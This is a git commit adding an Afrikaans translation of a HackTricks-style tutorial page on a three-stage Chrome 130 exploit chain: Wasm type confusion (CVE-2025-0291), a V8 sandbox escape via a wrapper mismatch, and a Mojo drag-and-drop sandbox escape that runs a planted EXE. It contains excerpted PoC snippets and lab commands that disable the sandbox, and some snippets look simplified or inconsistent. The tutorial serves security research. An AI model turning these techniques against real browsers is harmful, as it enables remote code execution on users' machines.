Translated ['src/binary-exploitation/chrome-exploiting.md'] to af

This commit is contained in:
Translator 2025-07-22 02:51:16 +00:00
parent 96ab3eccc3
commit 3c517a8046
2 changed files with 171 additions and 0 deletions

View File

@ -761,6 +761,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)

View File

@ -0,0 +1,170 @@
# Chrome Exploiting
{{#include ../banners/hacktricks-training.md}}
> Hierdie bladsy bied 'n hoëvlak maar **praktiese** oorsig van 'n moderne "volledige-ketting" eksploitasiestroomwerk teen Google Chrome 130 gebaseer op die navorsingsreeks **“101 Chrome Exploitation”** (Deel-0 — Voorwoord).
> Die doel is om pentesters en eksploitontwikkelaars die minimum agtergrond te gee wat nodig is om die tegnieke te herproduseer of aan te pas vir hul eie navorsing.
## 1. Chrome Argitektuur Herinnering
Om die aanvaloppervlak te verstaan, is dit nodig om te weet waar kode uitgevoer word en watter sandboxes van toepassing is.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Isolate): geheue toestemmings is beperk om arbitrêre lees/skryf van JITed JS / Wasm te voorkom.
* **Renderer ↔ Browser split** is verseker deur **Mojo/IPC** boodskap oordrag; die renderer het *geen* inheemse FS/netwerk toegang nie.
* **OS sandboxes** bevat verder elke proses (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiele).
'n *Afgeleë* aanvaller benodig dus **drie** opeenvolgende primitives:
1. Geheue korrupsie binne V8 om **arbitrêre RW binne die V8 heap** te verkry.
2. 'n Tweede fout wat die aanvaller toelaat om **uit die V8 sandbox na volle renderer geheue** te ontsnap.
3. 'n finale sandbox-ontsnapping (dikwels logika eerder as geheue korrupsie) om kode **buite die Chrome OS sandbox** uit te voer.
---
## 2. Stage 1 WebAssembly Type-Confusion (CVE-2025-0291)
'n Fout in TurboFan se **Turboshaft** optimalisering klassifiseer verkeerd **WasmGC verwysingstipes** wanneer die waarde binne 'n *enkele basiese bloklus* geproduseer en verbruik word.
Effek:
* Die kompilateur **slaag die tipe-toets oor**, en behandel 'n *verwysing* (`externref/anyref`) as 'n *int64*.
* Gemaakte Wasm laat toe dat 'n JS objekkop met aanvaller-beheerde data oorvleuel → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
Minimal PoC (uittreksel):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Trigger optimalisering & spuitobjekte vanaf JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **arbitraire lees/schryf binne V8**.
---
## 3. Stadium 2 Ontsnapping uit die V8 Sandbox (kwessie 379140430)
Wanneer 'n Wasm-funksie tier-up-gecompileer word, word 'n **JS ↔ Wasm-wrapper** gegenereer. 'n Handtekening-mismatch fout veroorsaak dat die wrapper oor die einde van 'n vertroude **`Tuple2`** objek skryf wanneer die Wasm-funksie heroptimiseer word *terwyl dit steeds op die stapel is*.
Oorskryding van die 2 × 64-bit velde van die `Tuple2` objek lewer **lees/schryf op enige adres binne die Renderer-proses**, wat effektief die V8-sandbox omseil.
Belangrike stappe in die uitbuiting:
1. Kry funksie in **Tier-Up** toestand deur afwisselend turbofan/baseline kode.
2. Trigger tier-up terwyl 'n verwysing op die stapel gehou word (`Function.prototype.apply`).
3. Gebruik Stadium-1 AAR/AAW om die aangrensende `Tuple2` te vind en te korrupteer.
Wrapper identifikasie:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
Na korrupsie besit ons 'n volledig funksionele **renderer R/W primitive**.
---
## 4. Stadium 3 Renderer → OS Sandbox Ontsnapping (CVE-2024-11114)
Die **Mojo** IPC-koppelvlak `blink.mojom.DragService.startDragging()` kan vanaf die Renderer met *gedeeltelik vertroude* parameters aangeroep word. Deur 'n `DragData` struktuur te vervaardig wat na 'n **arbitêre lêerpad** wys, oortuig die renderer die blaaier om 'n *natuurlike* sleep-en-drop **buite die renderer sandbox** uit te voer.
Deur dit te misbruik, kan ons programmaties 'n kwaadwillige EXE (voorheen in 'n wêreld-skryfbare ligging gelaat) na die Desktop "sleep", waar Windows sekere lêer-tipes outomaties uitvoer sodra dit gelaat word.
Voorbeeld (vereenvoudig):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
Geen ekstra geheuekorruptie is nodig nie die **logika-fout** gee ons arbitrêre lêeruitvoering met die gebruiker se voorregte.
---
## 5. Volledige Kettingvloei
1. **Gebruiker besoek** kwaadwillige webblad.
2. **Fase 1**: Wasm-module misbruik CVE-2025-0291 → V8 heap AAR/AAW.
3. **Fase 2**: Wrapper-mismatch korrupteer `Tuple2` → ontsnap V8 sandkas.
4. **Fase 3**: `startDragging()` IPC → ontsnap OS sandkas & voer payload uit.
Resultaat: **Afgeleë Kode-uitvoering (RCE)** op die gasheer (Chrome 130, Windows/Linux/macOS).
---
## 6. Laboratorium & Foutopsporing Instelling
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Nuttige vlae wanneer 'n *ontwikkeling* bou van Chrome gelaai word:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Takeaways
* **WebAssembly JIT foute** bly 'n betroubare toegangspunt die tipe stelsel is steeds jonk.
* Om 'n tweede geheue-korrupsie fout binne V8 te verkry (bv. wrapper wanpassing) vereenvoudig **V8-sandbox ontsnapping** aansienlik.
* Logika-vlak swakhede in bevoorregte Mojo IPC interfaces is dikwels voldoende vir 'n **finale sandbox ontsnapping** hou 'n oog op *nie-geheue* foute.
## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium sekuriteitsargitektuur](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}